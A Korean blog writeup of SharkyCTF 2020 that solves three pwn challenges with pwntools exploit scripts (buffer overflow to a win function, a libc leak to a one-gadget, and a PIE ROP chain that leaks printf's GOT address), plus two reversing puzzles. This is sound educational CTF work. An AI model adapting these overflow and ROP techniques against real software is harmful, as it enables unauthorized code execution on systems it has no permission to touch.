본문 바로가기
CTF

[CTF] SharkyCTF 2020 Writeup

by snwo 2020. 5. 11.

4문제풀고 265등을하였습니다.

푼 문제가 적으니 정성스럽게 writeup 작성해볼께요

welcome 은 디스코드방들어가면주기에 생략하겠습니다


  • pwn

Give away 0

Give away 1

 

  • rev

Simple

z 3 r o b o t w a v e s



     PWNABLE      


Give away 0

NX 만 적용되어있네요


oneshot 가젯과같은 win_func 함수가 주어집니다.


0x00000000004006c4 <+0>:	push   rbp
0x00000000004006c5 <+1>:	mov    rbp,rsp
0x00000000004006c8 <+4>:	sub    rsp,0x20
0x00000000004006cc <+8>:	mov    rdx,QWORD PTR [rip+0x20097d]        # 0x601050 <stdin@@GLIBC_2.2.5>
0x00000000004006d3 <+15>:	lea    rax,[rbp-0x20]
0x00000000004006d7 <+19>:	mov    esi,0x32
0x00000000004006dc <+24>:	mov    rdi,rax
0x00000000004006df <+27>:	call   0x400520 <fgets@plt>
0x00000000004006e4 <+32>:	nop
0x00000000004006e5 <+33>:	leave  
0x00000000004006e6 <+34>:	ret 

버퍼사이즈는 0x20인데, 0x32 를 입력받으니 ret 까지 BOF 할수있겠습니다

 

ret 주소까지 거리는

0x20 + 8 (rbp) = 0x28


from pwn import *
b=ELF("./0_give_away")
r=remote("sharkyctf.xyz",20333)
pay=""
pay+='x'*0x28
pay+=p64(b.symbols['win_func'])
r.sendline(pay)
r.interactive()

Give away 1

NX, PID, FULL_RELRO 가 설정되어있다.


실행시켰더니, 어떤 주소를 주길래, gdb 로 확인해봤더니, 

system 의 주소를 준다.


   0x000006da <+29>:	push   0x32
   0x000006dc <+31>:	lea    edx,[ebp-0x20]
   0x000006df <+34>:	push   edx
   0x000006e0 <+35>:	mov    ebx,eax
   0x000006e2 <+37>:	call   0x4c8 <fgets@plt>

0x12 바이트 overflow 가 일어나므로,

ret 주소를 덮을 수 있다.

ret주소까지 거리 --> 0x20+4=0x24


서버에서 사용하는 라이브러리파일을 제공하니, 

라이브러리베이스를 구해서

ret주소에 원샷가젯을 overwrite하자


from pwn import *
r=remote("sharkyctf.xyz",20334)
#r=process("./give_away_1")
libc=ELF("./libc-2.27.so")
oneshot=0x3d0e0

r.recvuntil(": ")
system_off=int(r.recvline().strip(),16)
libc_base=system_off-libc.symbols['system']

oneshot+=libc_base

pay=""
pay+='x'*0x24
pay+=p32(oneshot)

r.sendline(pay)
r.interactive()

 

one_gadget 으로 oneshot 을 구했다.

사진에는 안나왔지만, 4번째를 가젯을 썼다.

이유는 없다.


Give away 2

CTF 당시에는 못풀었지만, CTF 끝나고푼 문제이다.

PIE 가 설정되어있어서

바이너리의 offset 만 구할수있다.

 

하지만, 파일을 실행하면 메인함수의 주소를 준다.

메인함수주소 - 메인함수 offset = base주소

바이너리의 offset 을 이용해 원하는 함수의 주소를 얻을 수 있다.


   0x0000000000000850 <+15>:	lea    rax,[rbp-0x20]
   0x0000000000000854 <+19>:	mov    esi,0x80
   0x0000000000000859 <+24>:	mov    rdi,rax
   0x000000000000085c <+27>:	call   0x698 <fgets@plt>

 

버퍼사이즈가 0x20 인데 0x80 이나입력받으니,

BOF 가 발생한다.


첫번째문제처럼 쉘을 실행시켜주는함수가 존재하지않으니,

주어진 서버 라이브러리파일에서 원샷가젯을 찾을수있다.

하지만, 라이브러리베이스주소를 알아야 원샷가젯을 사용할 수 있다.

 

바이너리에서 사용하는 함수는 사용할 수 있으니,

printf 함수로 ret 해 printf_got 주소를 leak 해서

라이브러리베이스를 구할 수 있다.


[ 공격과정 ]

 

1. pop rdi;ret 가젯으로 리턴해서 printf_got 주소를 인자로 넣는다.

2. 메인함수에서 printf 를 호출하는곳으로 리턴한다.

3. vuln 함수가 다시실행되니, 입력을 한번 더 할 수 있다.

4. 라이브러리베이스주소를 구해서 원샷가젯으로 리턴


ROPgadget 로 pop rdi;ret 가젯을 얻을 수 있다.

PIE 가 적용되서, 0x903은 offset 일 뿐이니, base 주소를 더해서 사용한다.

 

같은 서버의 라이브러리파일이니, 아까구한 원샷가젯을 사용해도된다.


from pwn import *

r=process("./give_away_2")
b=ELF('./give_away_2')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so') 

context.log_level='debug'

r.recvuntil(": ")
main=int(r.recvline().strip(),16)
base=main-b.symbols['main']
prdi=0x903+base
printf_got=b.got['printf']+base
printf=0x880+base

#rop one
pay=""
pay+='x'*0x20
pay+='x'*8
pay+=p64(prdi)
pay+=p64(printf_got)
pay+=p64(printf)

r.sendline(pay)
libc_base=u64(r.recv(6).ljust(8,'\x00'))-libc.symbols['printf']

#rop two

oneshot=0x4f322+libc_base

pay2=""
pay2+='x'*0x20
pay2+='x'*0x8
pay2+=p64(oneshot)

r.sendline(pay2)

r.interactive()


      REVERSING      


Simple

어셈파일이 주어진다. 하나하나 분석해보자.

SECTION .rodata
	some_array db 10,2,30,15,3,7,4,2,1,24,5,11,24,4,14,13,5,6,19,20,23,9,10,2,30,15,3,7,4,2,1,24
	the_second_array db 0x57,0x40,0xa3,0x78,0x7d,0x67,0x55,0x40,0x1e,0xae,0x5b,0x11,0x5d,0x40,0xaa,0x17,0x58,0x4f,0x7e,0x4d,0x4e,0x42,0x5d,0x51,0x57,0x5f,0x5f,0x12,0x1d,0x5a,0x4f,0xbf
	len_second_array equ $ - the_second_array

main:
	mov rdx, [rsp]
	cmp rdx, 2
	jne exit
	mov rsi, [rsp+0x10]
	mov rdx, rsi
	mov rcx, 0
l1:
	cmp byte [rdx], 0
	je follow_the_label
	inc rcx
	inc rdx
	jmp l1

널문자가 나올때까지 반복한다.


follow_the_label:
	mov al, byte [rsi+rcx-1]
	mov rdi,  some_array
	mov rdi, [rdi+rcx-1]
	add al, dil
	xor rax, 42
	mov r10, the_second_array
	add r10, rcx
	dec r10
	cmp al, byte [r10]
	jne exit
	dec rcx
	cmp rcx, 0
	jne follow_the_label

문자열 끝부터 꺼꾸로 비교를한다.

 

( some_array[i]+al ) ^ 0x2a == second_array[i]

 

비교문이다. al 을 구하기위해 이항시키면,

 

al = second_array[i] ^ 0x2a - some_array[i]

 

이라는 식을 얻을 수 있다.

xor의 특성에의해 가능하게된다.

 

이제 코드로 옮겨 복호화해보자.


some=[10,2,30,15,3,7,4,2,1,24,5,11,24,4,14,13,5,6,19,20,23,9,10,2,30,15,3,7,4,2,1,24]
second=[0x57,0x40,0xa3,0x78,0x7d,0x67,0x55,0x40,0x1e,0xae,0x5b,0x11,0x5d,0x40,0xaa,0x17,0x58,0x4f,0x7e,0x4d,0x4e,0x42,0x5d,0x51,0x57,0x5f,0x5f,0x12,0x1d,0x5a,0x4f,0xbf]
flag=""

for i in range(32):
    flag+=chr((second[i]^0x2a)-some[i])

print flag

z 3 r o b o t w a v e s

로봇이 입력한 문자열을 맞는지아닌지 확인한다.


ghidra 로 분석한 문자열체크루틴이다.

너무 더러워서 정리좀해봤다.


  if (((((((((((s[0x14] ^ 0x2b) == s[7]) &&
             (s[0x15] - s[3] == -0x14)) &&
            (s[2] >> 6 == "")) &&
           ((s[0xd] == 0x74 && ((s[0xb] & 0x3fffffffU) == 0x5f)))) &&
          ((tmp = (s[0x11] >> 7) >> 5,
           s[7] >> ((s[0x11] + tmp & 7) - tmp & 0x1f) == 5 &&
           (((s[6] ^ 0x53) == s[0xe] && (s[8] == 0x7a)))))) &&
         ((tmp = (s[9] >> 7) >> 5,
          s[5] << ((s[9] + tmp & 7) - tmp & 0x1f) == 0x188 &&
          ((((s[0x10] - s[7] == 0x14 &&
             (tmp = (s[0x17] >> 7) >> 5,
             s[7] << ((s[0x17] + tmp & 7) - tmp & 0x1f) == 0xbe)) &&
            (s[2] - s[7] == -0x2b)) &&
           (((s[0x15] == 0x5f && ((s[2] ^ 0x47) == s[3])) &&
            ((*s == 99 && ((s[0xd] == 0x74 && ((s[0x14] & 0x45) == 0x44)))))))))))
         ) && ((s[8] & 0x15) == 0x10)) &&
       (((s[0xc] == 0x5f && (s[4] >> 4 == "")) && (s[0xd] == 0x74)))) &&
      (((((tmp = (*s >> 7) >> 5,
          *s >> ((*s + tmp & 7) - tmp & 0x1f) == 0xc &&
          (s[10] == 0x5f)) &&
         (((s[8] & 0xacU) == 0x28 &&
          ((s[0x10] == 0x73 && ((s[0x16] & 0x1d) == 0x18)))))) &&
        ((s[9] == 0x33 &&
         ((((s[5] == 0x31 && ((s[0x13] & 0x3fffffffU) == 0x72)) &&
           (s[0x14] >> 6 == "")) &&
          ((s[7] >> 1 == "/" && (s[1] == 0x6c)))))))) &&
       ((((((s[3] >> 4 == "" &&
            (((s[0x13] & 0x49) == 0x40 && (s[4] == 0x73)))) &&
           ((s[0xb] & s[2]) == 0x14)) &&
          (((((*s == 99 && (s[5] + s[4] == 0xa4)) &&
             ((s[0xf] & 0x3ffffffU) == 0x5f)) &&
            ((((s[10] ^ 0x2b) == s[0x11] && ((s[0xc] ^ 0x2c) == s[4])) &&
             ((s[0x13] - s[0x15] == 0x13 &&
              ((s[0xc] == 0x5f && (s[0xc] == 0x5f)))))))) &&
           (s[0xf] >> 1 == "/")))) &&
         (((s[0x13] == 0x72 && (s[0x12] + s[0x11] == 0xa8))
          && (s[0x16] == 0x3a)))) &&
        (((s[0x15] & s[0x17]) == 9 &&
         (tmp = (s[0x13] >> 7) >> 5,
         s[6] << ((s[0x13] + tmp & 7) - tmp & 0x1f) == 0x18c)))))))) &&
     ((((((s[7] + s[3] == 0xd2 &&
          (((s[0x16] & 0xedU) == 0x28 && ((s[0xc] & 0xacU) == 0xc)
           ))) && ((s[0x12] ^ 0x6b) == s[0xf])) &&
        ((((((((s[0x10] & 0x7a) == 0x72 && ((*s & 0x39) == 0x21)) &&
             ((s[6] ^ 0x3c) == s[0x15])) &&
            ((s[0x14] == 0x74 && (s[0x13] == 0x72)))) && (s[0xc] == 0x5f)) &&
          (((s[2] == 0x34 && (s[0x17] == 0x29)) &&
           ((s[10] == 0x5f &&
            ((((s[9] & s[0x16]) == 0x32 &&
              (s[2] + s[3] == 0xa7)) &&
             (s[0x11] - s[0xe] == 0x44)))))))) &&
         (((s[0x15] == 0x5f && ((s[0x13] ^ 0x2d) == s[10])) &&
          (((s[0xc] & 0x3fffffffU) == 0x5f &&
           (((((s[6] & 0x40) != 0 && ((s[0x16] & s[0xc]) == 0x1a)) &&
             ((tmp = (s[0x13] >> 7) >> 5,
              s[7] << ((s[0x13] + tmp & 7) - tmp & 0x1f) == 0x17c &&
              ((((s[0x14] ^ 0x4e) == s[0x16] && (s[6] == 99)) &&
               (s[0xc] == s[7])))))) &&
            ((s[0x13] - s[0xd] == -2 &&
             (s[0xe] >> 4 == "")))))))))))) &&
       (((s[0xc] & 0x38) == 0x18 &&
        (((tmp = (s[10] >> 7) >> 5,
          s[8] << ((s[10] + tmp & 7) - tmp & 0x1f) == 0x3d00 &&
          (s[0x14] == 0x74)) &&
         ((tmp = (s[0x16] >> 7) >> 5,
          s[6] >> ((s[0x16] + tmp & 7) - tmp & 0x1f) == 0x18 &&
          ((((s[0x16] - s[5] == 9 &&
             (tmp = (s[0x16] >> 7) >> 5,
             s[7] << ((s[0x16] + tmp & 7) - tmp & 0x1f) == 0x17c)) &&
            (s[0x16] == 0x3a)) &&
           ((s[0x10] == 0x73 && ((s[0x17] ^ 0x1d) == s[0x12])))))))))))) &&
      (((s[0xe] + s[0x17] == 0x59 &&
        (((s[2] & s[5]) == 0x30 && ((s[0xf] & 0x9fU) == 0x1f)))) &&
       ((s[4] == 0x73 &&
        (((s[0x17] ^ 0x4a) == *s && ((s[6] ^ 0x3c) == s[0xb])))))))))) {
    chk = 1;
  }
  else {
    chk = 0;
  }
  return chk;

어디서부터 해야하나 감이 안왔다. 근데 문자열검색을 해보니까 같은문자를 여러번비교한다.


심지어 문자를 알려주는 조건문도있었다.


그래서 문자열검색해서 하나하나 다 찾았다.

근데, 인덱스 0, a 문자는 없어서 

 

?lassic_z3?__t0_st4rt_:)

 

첫번째글자는 classic 에 c 같았고,

10번째글자는 _ 같아서 입력했더니 맞았다.

 

#지금보니 첫번째글자는 *s 로 참조하고, 10번째글자는 0xa 가 아니라 10 이였다...

 

알고봤더니 z3 모듈로 푸는문제라고한다.